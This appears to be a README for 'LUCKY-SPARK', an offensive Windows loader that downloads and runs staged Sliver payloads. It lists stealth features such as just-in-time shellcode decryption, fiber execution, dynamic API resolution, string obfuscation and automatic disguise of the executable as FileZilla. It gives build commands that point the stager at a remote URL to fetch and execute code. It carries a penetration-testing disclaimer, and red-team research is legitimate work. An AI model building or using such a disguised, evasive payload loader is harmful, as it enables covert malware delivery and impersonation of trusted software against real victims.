⟪ LUCKY-SPARK ⟫ is an advanced Windows payload loader designed to securely execute Sliver and other http/https staged payloads while minimizing memory exposure. It combines obfuscation and execution techniques to enhance stealth and resilience against analysis.
- Staged Sliver Payload Loader Downloads and executes a Sliver payload from a specified server.
- JIT Shellcode Decryption Uses a Just‑In‑Time page decryption engine with Windows Vectored Exception Handling (VEH) and guarded memory pages, minimising in-memory exposure.
- Fiber-based Execution Runs shellcode within fibers for improved stealth and complicating analysis.
- Dynamic API Resolution Suspicious or detection-prone Windows API functions are dynamically loaded at runtime.
- String Obfuscation Sensitive strings (e.g., URLs, user agents) are encrypted using an affine cipher and stored obfuscated in compiled binaries.
- Automatic Disguise EXE is automatically disguised as FileZilla with proper manifest, version information, and icons.
- Customizable User-Agent Supports specifying a custom User-Agent string for network requests.
- Config-Only Mode Option to generate only configuration files without building the full binary.
- Interactive Prompts Command-line interface prompts for URL and optional User-Agent if not provided.
Clone or download the repository and ensure you have make and mingw installed on your system.
git clone <repository_url>
cd LUCKY-SPARK./luckySpark.sh./luckySpark.sh -u https://example.com/stage -a "Mozilla/5.0"This creates a binary filezilla.exe which when executed retrieves and executes the payload.
LUCKY-SPARK is intended for educational, research, and authorized penetration testing only. Unauthorized use against systems without permission is illegal and unethical.
This stager was designed to be used with Sliver. Stage a Sliver payload as described here Sliver Staging Encrypting the payload is not necessary.
But any http/https based staging method will work.
like python3 -m http.server
This stager does NOT support the meterpreter staging protocol.


